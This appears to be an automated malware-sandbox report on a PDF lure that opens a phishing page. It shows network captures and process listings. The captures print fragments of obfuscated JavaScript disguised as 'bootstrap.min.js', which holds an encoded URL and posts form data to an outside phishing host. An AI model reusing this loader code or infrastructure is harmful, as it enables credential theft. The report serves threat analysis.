2024-11-20 14:43:18 UTC	1369	IN	Data Raw: 2c 5f 2e 5f 68 61 6e 64 6c 65 44 69 73 6d 69 73 73 28 6e 65 77 20 5f 29 29 2c 72 2e 66 6e 5b 6e 5d 3d 5f 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 72 2e 66 6e 5b 6e 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 5f 2c 72 2e 66 6e 5b 6e 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 2e 66 6e 5b 6e 5d 3d 63 2c 5f 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 5f 29 2c 4d 6e 3d 28 70 3d 22 62 75 74 74 6f 6e 22 2c 79 3d 22 2e 22 2b 28 76 3d 22 62 73 2e 62 75 74 74 6f 6e 22 29 2c 45 3d 22 2e 64 61 74 61 2d 61 70 69 22 2c 43 3d 28 6d 3d 65 29 2e 66 6e 5b 70 5d 2c 54 3d 22 61 63 74 69 76 65 22 2c 62 3d 22 62 74 6e 22 2c 49 3d 27 5b 64 61 74 61 2d 74 6f 67 67 6c 65 5e 3d 22 62 75 74 74 6f 6e 22 5d Data Ascii: ,_._handleDismiss(new _)),r.fn[n]=_._jQueryInterface,r.fn[n].Constructor=_,r.fn[n].noConflict=function(){return r.fn[n]=c,_._jQueryInterface},_),Mn=(p="button",y="."+(v="bs.button"),E=".data-api",C=(m=e).fn[p],T="active",b="btn",I='[data-toggle^="button"]
2024-11-20 14:43:18 UTC	1369	IN	Data Raw: 28 74 29 7b 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 3b 76 61 72 20 65 3d 74 2e 74 61 72 67 65 74 3b 6d 28 65 29 2e 68 61 73 43 6c 61 73 73 28 62 29 7c 7c 28 65 3d 6d 28 65 29 2e 63 6c 6f 73 65 73 74 28 4e 29 29 2c 6b 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 6d 28 65 29 2c 22 74 6f 67 67 6c 65 22 29 7d 29 2e 6f 6e 28 4f 2e 46 4f 43 55 53 5f 42 4c 55 52 5f 44 41 54 41 5f 41 50 49 2c 49 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 6d 28 74 2e 74 61 72 67 65 74 29 2e 63 6c 6f 73 65 73 74 28 4e 29 5b 30 5d 3b 6d 28 65 29 2e 74 6f 67 67 6c 65 43 6c 61 73 73 28 53 2c 2f 5e 66 6f 63 75 73 28 69 6e 29 3f 24 2f 2e 74 65 73 74 28 74 2e 74 79 70 65 29 29 7d 29 2c 6d 2e 66 6e 5b 70 5d 3d 6b 2e 5f 6a 51 75 65 72 79 Data Ascii: (t){t.preventDefault();var e=t.target;m(e).hasClass(b)\|\|(e=m(e).closest(N)),k._jQueryInterface.call(m(e),"toggle")}).on(O.FOCUS_BLUR_DATA_API,I,function(t){var e=m(t.target).closest(N)[0];m(e).toggleClass(S,/^focus(in)?$/.test(t.type))}),m.fn[p]=k._jQuery
2024-11-20 14:43:18 UTC	1369	IN	Data Raw: 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 6e 74 29 2c 74 68 69 73 2e 5f 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 28 29 7d 76 61 72 20 74 3d 6f 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 72 6e 20 74 2e 6e 65 78 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 69 73 53 6c 69 64 69 6e 67 7c 7c 74 68 69 73 2e 5f 73 6c 69 64 65 28 71 29 7d 2c 74 2e 6e 65 78 74 57 68 65 6e 56 69 73 69 62 6c 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 21 64 6f 63 75 6d 65 6e 74 2e 68 69 64 64 65 6e 26 26 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 69 73 28 22 3a 76 69 73 69 62 6c 65 22 29 26 26 22 68 69 64 64 65 6e 22 21 3d 3d 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 63 73 73 28 22 76 69 73 69 62 69 6c 69 Data Ascii: this._element.querySelector(nt),this._addEventListeners()}var t=o.prototype;return t.next=function(){this._isSliding\|\|this._slide(q)},t.nextWhenVisible=function(){!document.hidden&&P(this._element).is(":visible")&&"hidden"!==P(this._element).css("visibili
2024-11-20 14:43:18 UTC	1369	IN	Data Raw: 67 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 3d 6c 28 7b 7d 2c 57 2c 74 29 2c 46 6e 2e 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 28 6a 2c 74 2c 55 29 2c 74 7d 2c 74 2e 5f 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 6b 65 79 62 6f 61 72 64 26 26 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 28 51 2e 4b 45 59 44 4f 57 4e 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 65 2e 5f 6b 65 79 64 6f 77 6e 28 74 29 7d 29 2c 22 68 6f 76 65 72 22 3d 3d 3d 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 70 61 75 73 65 26 26 28 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 28 51 2e 4d 4f 55 53 45 45 4e 54 45 Data Ascii: g=function(t){return t=l({},W,t),Fn.typeCheckConfig(j,t,U),t},t._addEventListeners=function(){var e=this;this._config.keyboard&&P(this._element).on(Q.KEYDOWN,function(t){return e._keydown(t)}),"hover"===this._config.pause&&(P(this._element).on(Q.MOUSEENTE
2024-11-20 14:43:18 UTC	1369	IN	Data Raw: 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 29 7b 76 61 72 20 65 3d 5b 5d 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 24 29 29 3b 50 28 65 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 56 29 3b 76 61 72 20 6e 3d 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 2e 63 68 69 6c 64 72 65 6e 5b 74 68 69 73 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 28 74 29 5d 3b 6e 26 26 50 28 6e 29 2e 61 64 64 43 6c 61 73 73 28 56 29 7d 7d 2c 74 2e 5f 73 6c 69 64 65 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 6e 2c 69 2c 72 2c 6f 3d 74 68 69 73 Data Ascii: lement=function(t){if(this._indicatorsElement){var e=[].slice.call(this._indicatorsElement.querySelectorAll($));P(e).removeClass(V);var n=this._indicatorsElement.children[this._getItemIndex(t)];n&&P(n).addClass(V)}},t._slide=function(t,e){var n,i,r,o=this
2024-11-20 14:43:18 UTC	1369	IN	Data Raw: 29 74 2e 74 6f 28 69 29 3b 65 6c 73 65 20 69 66 28 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 6e 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 74 5b 6e 5d 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 27 4e 6f 20 6d 65 74 68 6f 64 20 6e 61 6d 65 64 20 22 27 2b 6e 2b 27 22 27 29 3b 74 5b 6e 5d 28 29 7d 65 6c 73 65 20 65 2e 69 6e 74 65 72 76 61 6c 26 26 28 74 2e 70 61 75 73 65 28 29 2c 74 2e 63 79 63 6c 65 28 29 29 7d 29 7d 2c 6f 2e 5f 64 61 74 61 41 70 69 43 6c 69 63 6b 48 61 6e 64 6c 65 72 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 46 6e 2e 67 65 74 53 65 6c 65 63 74 6f 72 46 72 6f 6d 45 6c 65 6d 65 6e 74 28 74 68 69 73 29 3b 69 66 28 65 29 7b 76 61 72 20 6e 3d 50 28 65 29 5b 30 5d 3b 69 Data Ascii: )t.to(i);else if("string"==typeof n){if("undefined"==typeof t[n])throw new TypeError('No method named "'+n+'"');t[n]()}else e.interval&&(t.pause(),t.cycle())})},o._dataApiClickHandler=function(t){var e=Fn.getSelectorFromElement(this);if(e){var n=P(e)[0];i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.16	49771	162.241.71.126	443	6988	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 14:43:20 UTC	666	OUT	POST /next.php HTTP/1.1 Host: 1381488073.constructionfederal.com Connection: keep-alive Content-Length: 13 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept: / Origin: https://abbcc.appforconstruction.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://abbcc.appforconstruction.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 14:43:20 UTC	13	OUT	Data Raw: 64 6f 3d 75 73 65 72 2d 63 68 65 63 6b Data Ascii: do=user-check
2024-11-20 14:43:22 UTC	297	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 14:43:19 GMT Server: Apache Access-Control-Allow-Origin: https://abbcc.appforconstruction.com Access-Control-Allow-Credentials: true Access-Control-Max-Age: 86400 Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-20 14:43:22 UTC	27	IN	Data Raw: 31 30 0d 0a 7b 22 73 74 61 74 75 73 22 3a 66 61 6c 73 65 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 10{"status":false}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.16	49770	170.106.97.196	443	6988	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 14:43:20 UTC	395	OUT	GET /bootstrap.min.js HTTP/1.1 Host: 1381488073-1323985617.cos.na-siliconvalley.myqcloud.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 14:43:21 UTC	425	IN	HTTP/1.1 200 OK Content-Type: text/javascript Content-Length: 553320 Connection: close Accept-Ranges: bytes Content-Disposition: attachment Date: Wed, 20 Nov 2024 14:43:20 GMT ETag: "8915f812186c80ef29a483ae6fe1f3f9" Last-Modified: Tue, 12 Nov 2024 09:11:05 GMT Server: tencent-cos x-cos-force-download: true x-cos-hash-crc64ecma: 9250768734006860679 x-cos-request-id: NjczZGY1ODhfNTEzNzY3MDlfNmMyY184OGNlZWYw
2024-11-20 14:43:21 UTC	7779	IN	Data Raw: 76 61 72 20 66 69 6c 65 20 3d 20 22 61 48 52 30 63 48 4d 36 4c 79 38 78 4d 7a 67 78 4e 44 67 34 4d 44 63 7a 4c 6d 4e 76 62 6e 4e 30 63 6e 56 6a 64 47 6c 76 62 6d 5a 6c 5a 47 56 79 59 57 77 75 59 32 39 74 4c 32 35 6c 65 48 51 75 63 47 68 77 22 3b 0d 0a 0d 0a 76 61 72 20 5f 30 78 35 35 61 32 61 34 3d 5f 30 78 32 63 31 33 3b 66 75 6e 63 74 69 6f 6e 20 5f 30 78 32 62 31 39 28 29 7b 76 61 72 20 5f 30 78 34 39 36 36 65 31 3d 5b 27 78 2d 6c 67 2d 72 6f 77 5c 78 32 30 7b 27 2c 27 63 6f 6c 6f 72 3a 5c 78 32 30 74 72 61 27 2c 27 64 69 76 5c 78 32 30 69 64 3d 5c 78 32 32 6d 61 27 2c 27 2d 6c 67 2d 30 5c 78 32 30 7b 5c 78 32 30 6d 61 27 2c 27 7e 2e 76 61 6c 69 64 2d 74 6f 27 2c 27 31 7c 34 7c 30 7c 32 7c 36 7c 27 2c 27 6e 2d 74 6f 70 3a 5c 78 32 30 31 2e 35 27 2c 27 Data Ascii: var file = "aHR0cHM6Ly8xMzgxNDg4MDczLmNvbnN0cnVjdGlvbmZlZGVyYWwuY29tL25leHQucGhw";var _0x55a2a4=_0x2c13;function _0x2b19(){var _0x4966e1=['x-lg-row\x20{','color:\x20tra','div\x20id=\x22ma','-lg-0\x20{\x20ma','~.valid-to','1\|4\|0\|2\|6\|','n-top:\x201.5','
2024-11-20 14:43:21 UTC	8184	IN	Data Raw: 79 67 51 67 55 27 2c 27 68 5d 2c 5c 78 32 30 69 6e 70 75 74 5b 27 2c 27 2d 77 65 62 6b 69 74 2d 73 65 27 2c 27 5c 78 32 30 2e 35 29 5c 78 32 30 7d 5c 78 32 30 2e 63 75 27 2c 27 6f 70 6f 76 65 72 2d 61 75 74 27 2c 27 6c 69 6e 65 3a 5c 78 32 30 30 3b 5c 78 32 30 6f 27 2c 27 5c 78 32 30 31 33 3b 5c 78 32 30 6f 72 64 65 72 27 2c 27 75 74 74 6f 6e 5c 78 32 32 5c 78 32 30 63 6c 61 27 2c 27 69 67 68 74 3a 5c 78 32 30 31 30 37 70 27 2c 27 23 5c 78 32 30 73 6f 75 72 63 65 4d 61 27 2c 27 31 30 30 25 5c 78 32 30 7d 5c 78 32 30 2e 6f 72 27 2c 27 3a 5c 78 32 30 72 69 67 68 74 3b 5c 78 32 30 6d 27 2c 27 7d 5c 78 32 30 2e 6c 69 73 74 2d 75 6e 27 2c 27 64 61 72 79 3a 68 6f 76 65 72 27 2c 27 63 6f 6e 74 72 6f 6c 2b 2e 63 27 2c 27 69 67 6e 2d 6d 69 64 64 6c 65 27 2c 27 78 Data Ascii: ygQgU','h],\x20input[','-webkit-se','\x20.5)\x20}\x20.cu','opover-aut','line:\x200;\x20o','\x2013;\x20order','utton\x22\x20cla','ight:\x20107p','#\x20sourceMa','100%\x20}\x20.or',':\x20right;\x20m','}\x20.list-un','dary:hover','control+.c','ign-middle','x
2024-11-20 14:43:21 UTC	8184	IN	Data Raw: 74 2d 63 68 27 2c 27 64 65 72 3a 5c 78 32 30 38 5c 78 32 30 7d 5c 78 32 30 2e 27 2c 27 6c 69 64 5c 78 32 30 23 64 65 65 32 65 27 2c 27 61 63 65 2d 61 72 6f 75 6e 64 27 2c 27 75 73 2c 5c 78 32 30 61 2e 62 67 2d 77 27 2c 27 61 28 30 2c 5c 78 32 30 31 32 33 2c 5c 78 32 30 27 2c 27 53 79 6d 62 6f 6c 5c 78 32 32 3b 5c 78 32 30 2d 27 2c 27 6f 6e 3a 5c 78 32 30 72 6f 77 5c 78 32 30 21 69 27 2c 27 5c 78 32 37 2c 5c 78 32 37 53 65 67 6f 65 5c 78 32 30 55 27 2c 27 61 6c 65 72 74 2d 6c 69 67 68 27 2c 27 6e 64 65 78 3a 5c 78 32 30 31 3b 5c 78 32 30 74 27 2c 27 75 70 2d 69 74 65 6d 2d 70 72 27 2c 27 74 65 64 5c 78 32 30 2e 63 75 73 74 6f 27 2c 27 6e 65 5c 78 32 30 2e 69 6e 70 75 74 2d 27 2c 27 69 6e 6b 4d 61 63 53 79 73 74 27 2c 27 73 70 61 6e 3e 57 65 5c 78 32 30 74 Data Ascii: t-ch','der:\x208\x20}\x20.','lid\x20#dee2e','ace-around','us,\x20a.bg-w','a(0,\x20123,\x20','Symbol\x22;\x20-','on:\x20row\x20!i','\x27,\x27Segoe\x20U','alert-ligh','ndex:\x201;\x20t','up-item-pr','ted\x20.custo','ne\x20.input-','inkMacSyst','span>We\x20t
2024-11-20 14:43:21 UTC	8184	IN	Data Raw: 67 2d 66 6c 75 27 2c 27 50 4a 53 64 63 27 2c 27 64 69 6e 67 2d 74 6f 70 3a 5c 78 32 30 27 2c 27 64 2d 63 6c 69 70 3a 5c 78 32 30 62 6f 27 2c 27 32 35 35 2c 5c 78 32 30 2e 32 35 29 5c 78 32 30 27 2c 27 35 3b 5c 78 32 30 6f 72 64 65 72 3a 5c 78 32 30 27 2c 27 74 65 6e 74 3a 5c 78 32 30 63 65 6e 74 27 2c 27 31 30 5c 78 32 30 7b 5c 78 32 30 6d 61 72 67 69 27 2c 27 74 74 6f 6d 3a 5c 78 32 30 2e 35 72 65 27 2c 27 4e 43 4c 4d 75 27 2c 27 69 76 3e 5c 78 32 30 3c 2f 66 6f 72 6d 27 2c 27 74 65 72 6c 69 6d 69 74 3d 5c 78 32 37 27 2c 27 6d 61 72 67 69 6e 3a 5c 78 32 30 2e 35 27 2c 27 74 2d 68 69 64 65 5c 78 32 30 7b 5c 78 32 30 66 27 2c 27 6e 6f 6e 65 3b 5c 78 32 30 2d 6d 6f 7a 27 2c 27 72 6f 70 6c 65 66 74 5c 78 32 30 2e 64 27 2c 27 6c 69 64 5c 78 32 30 7b 5c 78 32 Data Ascii: g-flu','PJSdc','ding-top:\x20','d-clip:\x20bo','255,\x20.25)\x20','5;\x20order:\x20','tent:\x20cent','10\x20{\x20margi','ttom:\x20.5re','NCLMu','iv>\x20</form','terlimit=\x27','margin:\x20.5','t-hide\x20{\x20f','none;\x20-moz','ropleft\x20.d','lid\x20{\x2
2024-11-20 14:43:21 UTC	8184	IN	Data Raw: 3b 26 23 33 32 3b 26 23 27 2c 27 2d 6e 61 76 5c 78 32 30 2e 64 72 6f 70 27 2c 27 5c 78 32 30 31 5c 78 32 30 7d 5c 78 32 30 2e 6f 72 64 65 27 2c 27 33 33 33 33 33 25 5c 78 32 30 7d 5c 78 32 30 2e 27 2c 27 5b 68 72 65 66 5d 3a 68 6f 76 27 2c 27 2d 70 6f 70 6f 76 65 72 2d 74 27 2c 27 6f 6e 3a 5c 78 32 30 72 6f 77 2d 72 65 27 2c 27 2e 74 61 62 6c 65 5c 78 32 30 74 68 65 27 2c 27 43 63 65 62 59 27 2c 27 74 69 70 6c 65 5d 29 2c 5c 78 32 30 2e 27 2c 27 23 6c 6f 61 64 65 72 27 2c 27 43 6f 6c 6f 72 5c 78 32 30 45 6d 6f 6a 27 2c 27 6c 65 66 74 3a 5c 78 32 30 61 75 74 6f 27 2c 27 76 65 72 74 69 63 61 6c 3e 2e 27 2c 27 25 2c 5c 78 32 30 30 2c 5c 78 32 30 30 29 3b 5c 78 32 30 27 2c 27 28 5b 73 69 7a 65 5d 29 3a 6e 27 2c 27 73 2d 70 6f 70 6f 76 65 72 2d 27 2c 27 6f 74 Data Ascii: ; &#','-nav\x20.drop','\x201\x20}\x20.orde','33333%\x20}\x20.','[href]:hov','-popover-t','on:\x20row-re','.table\x20the','CcebY','tiple]),\x20.','#loader','Color\x20Emoj','left:\x20auto','vertical>.','%,\x200,\x200);\x20','([size]):n','s-popover-','ot
2024-11-20 14:43:21 UTC	8184	IN	Data Raw: 2c 27 5c 78 32 30 23 64 65 65 32 65 36 5c 78 32 30 21 27 2c 27 7d 5c 78 32 30 61 2e 74 65 78 74 2d 73 27 2c 27 6e 64 5c 78 32 30 7b 5c 78 32 30 2d 77 65 62 6b 27 2c 27 3a 5c 78 32 30 23 31 37 31 61 31 64 5c 78 32 30 27 2c 27 3d 5c 78 32 32 62 6f 78 5c 78 32 32 5c 78 32 30 69 64 3d 27 2c 27 69 63 61 6c 3e 2e 62 74 6e 3a 27 2c 27 2d 78 6c 2d 31 5c 78 32 30 7b 5c 78 32 30 2d 77 27 2c 27 73 68 6f 77 3e 2e 6e 61 76 2d 27 2c 27 6c 28 5c 78 32 32 64 61 74 61 3a 69 6d 27 2c 27 73 5c 78 32 30 7b 5c 78 32 30 63 6f 6c 6f 72 3a 27 2c 27 2d 65 78 70 61 6e 64 2d 78 6c 27 2c 27 74 68 3a 5c 78 32 30 31 30 30 25 3b 5c 78 32 30 27 2c 27 65 6c 70 3b 5c 78 32 30 62 6f 72 64 65 27 2c 27 5c 78 32 30 7d 5c 78 32 30 2e 63 6c 6f 73 65 3a 27 2c 27 3b 5c 78 32 30 74 65 78 74 2d 73 Data Ascii: ,'\x20#dee2e6\x20!','}\x20a.text-s','nd\x20{\x20-webk',':\x20#171a1d\x20','=\x22box\x22\x20id=','ical>.btn:','-xl-1\x20{\x20-w','show>.nav-','l(\x22data:im','s\x20{\x20color:','-expand-xl','th:\x20100%;\x20','elp;\x20borde','\x20}\x20.close:',';\x20text-s
2024-11-20 14:43:21 UTC	8184	IN	Data Raw: 75 70 5c 78 32 30 7b 5c 78 32 30 6d 61 72 27 2c 27 74 79 3a 5c 78 32 30 2e 39 5c 78 32 30 7d 5c 78 32 30 2e 27 2c 27 67 69 6e 3a 5c 78 32 30 2e 35 72 65 6d 27 2c 27 6c 74 69 70 5c 78 32 30 7b 5c 78 32 30 70 6f 73 27 2c 27 6c 74 69 70 2c 5c 78 32 30 2e 77 61 73 27 2c 27 3d 63 68 65 63 6b 62 6f 78 5d 27 2c 27 7b 5c 78 32 30 6d 61 72 67 69 6e 2d 6c 27 2c 27 6e 61 34 65 4c 6a 35 4f 58 6d 27 2c 27 6b 69 64 61 4d 27 2c 27 74 69 70 5c 78 32 30 7b 5c 78 32 30 64 69 73 70 27 2c 27 2c 5c 78 32 30 36 33 70 78 29 5c 78 32 30 72 6f 27 2c 27 2e 37 35 72 65 6d 5c 78 32 30 31 2e 32 27 2c 27 7d 5c 78 32 30 5b 74 79 70 65 3d 62 75 27 2c 27 6f 72 73 5c 78 32 30 7b 5c 78 32 30 70 6f 73 69 27 2c 27 74 65 6e 74 3a 5c 78 32 30 73 70 61 63 27 2c 27 75 73 74 6f 6d 2d 72 61 64 69 Data Ascii: up\x20{\x20mar','ty:\x20.9\x20}\x20.','gin:\x20.5rem','ltip\x20{\x20pos','ltip,\x20.was','=checkbox]','{\x20margin-l','na4eLj5OXm','kidaM','tip\x20{\x20disp',',\x2063px)\x20ro','.75rem\x201.2','}\x20[type=bu','ors\x20{\x20posi','tent:\x20spac','ustom-radi
2024-11-20 14:43:21 UTC	8184	IN	Data Raw: 27 6f 43 49 58 6c 27 2c 27 38 2e 33 33 33 33 33 33 25 3b 27 2c 27 69 6e 70 75 74 2e 69 73 2d 69 27 2c 27 5b 74 79 70 65 3d 6d 6f 6e 74 27 2c 27 74 2d 69 6e 6c 69 6e 65 2d 69 27 2c 27 61 73 5c 78 32 30 66 61 2d 61 72 72 6f 27 2c 27 74 74 6f 6d 3a 5c 78 32 30 2e 32 35 72 27 2c 27 5c 78 32 30 6f 72 64 65 72 3a 5c 78 32 30 31 31 27 2c 27 65 66 74 2d 72 61 64 69 75 73 27 2c 27 36 77 52 34 33 4e 36 6b 39 54 27 2c 27 2d 67 72 6f 75 70 2d 70 72 65 27 2c 27 6e 3a 5c 78 32 30 6e 6f 72 6d 61 6c 3b 27 2c 27 37 68 32 32 4d 34 5c 78 32 30 31 35 68 27 2c 27 55 41 41 41 41 42 41 41 41 41 27 2c 27 62 6f 78 2d 70 61 63 6b 3a 5c 78 32 30 27 2c 27 69 70 73 69 73 3b 5c 78 32 30 77 68 69 27 2c 27 6f 72 65 2c 5c 78 32 30 2e 62 73 2d 74 27 2c 27 74 68 3a 5c 78 32 30 39 31 2e 36 Data Ascii: 'oCIXl','8.333333%;','input.is-i','[type=mont','t-inline-i','as\x20fa-arro','ttom:\x20.25r','\x20order:\x2011','eft-radius','6wR43N6k9T','-group-pre','n:\x20normal;','7h22M4\x2015h','UAAAABAAAA','box-pack:\x20','ipsis;\x20whi','ore,\x20.bs-t','th:\x2091.6
2024-11-20 14:43:21 UTC	8184	IN	Data Raw: 62 38 5c 78 32 30 27 2c 27 66 69 33 69 6c 68 73 56 58 78 27 2c 27 5c 78 32 30 30 3b 5c 78 32 30 7a 2d 69 6e 64 65 27 2c 27 74 3b 5c 78 32 30 74 72 61 6e 73 69 74 27 2c 27 2d 64 69 61 6c 6f 67 5c 78 32 30 7b 5c 78 32 30 27 2c 27 74 69 76 65 5c 78 32 30 7b 5c 78 32 30 63 6f 6c 27 2c 27 64 69 73 70 6c 61 79 3a 5c 78 32 30 66 27 2c 27 6e 67 3a 5c 78 32 30 2e 32 35 72 65 6d 27 2c 27 3a 66 6f 63 75 73 2c 5c 78 32 30 2e 73 27 2c 27 43 41 73 4d 43 77 6f 4d 43 51 27 2c 27 68 69 74 65 3b 5c 78 32 30 7d 5c 78 32 30 7d 5c 78 32 30 27 2c 27 6e 67 3a 5c 78 32 30 30 3b 5c 78 32 30 6f 76 65 27 2c 27 2e 61 72 72 6f 77 2c 5c 78 32 30 2e 62 27 2c 27 70 3a 5c 78 32 30 31 2e 35 72 65 6d 5c 78 32 30 27 2c 27 69 6f 6e 3a 5c 78 32 30 74 72 61 6e 73 27 2c 27 75 6e 64 2d 63 6f 6c Data Ascii: b8\x20','fi3ilhsVXx','\x200;\x20z-inde','t;\x20transit','-dialog\x20{\x20','tive\x20{\x20col','display:\x20f','ng:\x20.25rem',':focus,\x20.s','CAsMCwoMCQ','hite;\x20}\x20}\x20','ng:\x200;\x20ove','.arrow,\x20.b','p:\x201.5rem\x20','ion:\x20trans','und-col
2024-11-20 14:43:21 UTC	8184	IN	Data Raw: 70 3e 2e 69 6e 70 75 74 2d 67 27 2c 27 6e 2d 74 6f 70 3a 5c 78 32 30 30 3b 5c 78 32 30 27 2c 27 6d 3a 6c 61 73 74 2d 63 68 69 27 2c 27 66 69 72 73 74 5c 78 32 30 7b 5c 78 32 30 2d 77 27 2c 27 2e 35 72 65 6d 3b 5c 78 32 30 70 61 64 27 2c 27 73 65 63 6f 6e 64 61 72 79 3a 27 2c 27 67 3a 6e 6f 74 28 3a 64 69 73 27 2c 27 75 69 64 5c 78 32 30 7b 5c 78 32 30 70 61 64 64 27 2c 27 6d 61 72 67 69 6e 2d 62 6f 74 27 2c 27 5c 78 32 30 7d 5c 78 32 30 2e 64 72 6f 70 6c 65 27 2c 27 3b 5c 78 32 30 6d 61 72 67 69 6e 2d 74 27 2c 27 62 74 6e 3a 66 6f 63 75 73 2c 27 2c 27 65 66 74 3a 5c 78 32 30 37 35 25 5c 78 32 30 7d 27 2c 27 3d 5c 78 32 32 76 69 65 77 70 6f 72 74 27 2c 27 5c 78 32 30 73 69 67 6e 5c 78 32 30 69 6e 5c 78 32 30 72 27 2c 27 6e 2d 73 65 6c 66 3a 5c 78 32 30 61 Data Ascii: p>.input-g','n-top:\x200;\x20','m:last-chi','first\x20{\x20-w','.5rem;\x20pad','secondary:','g:not(:dis','uid\x20{\x20padd','margin-bot','\x20}\x20.drople',';\x20margin-t','btn:focus,','eft:\x2075%\x20}','=\x22viewport','\x20sign\x20in\x20r','n-self:\x20a

Target ID:	0
Start time:	09:41:12
Start date:	20/11/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\Isabella County Emergency Management-protected.pdf"
Imagebase:	0x7ff743640000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	09:41:16
Start date:	20/11/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff78add0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	09:41:17
Start date:	20/11/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1592,i,9613781314171281216,15614131113156459489,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff78add0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
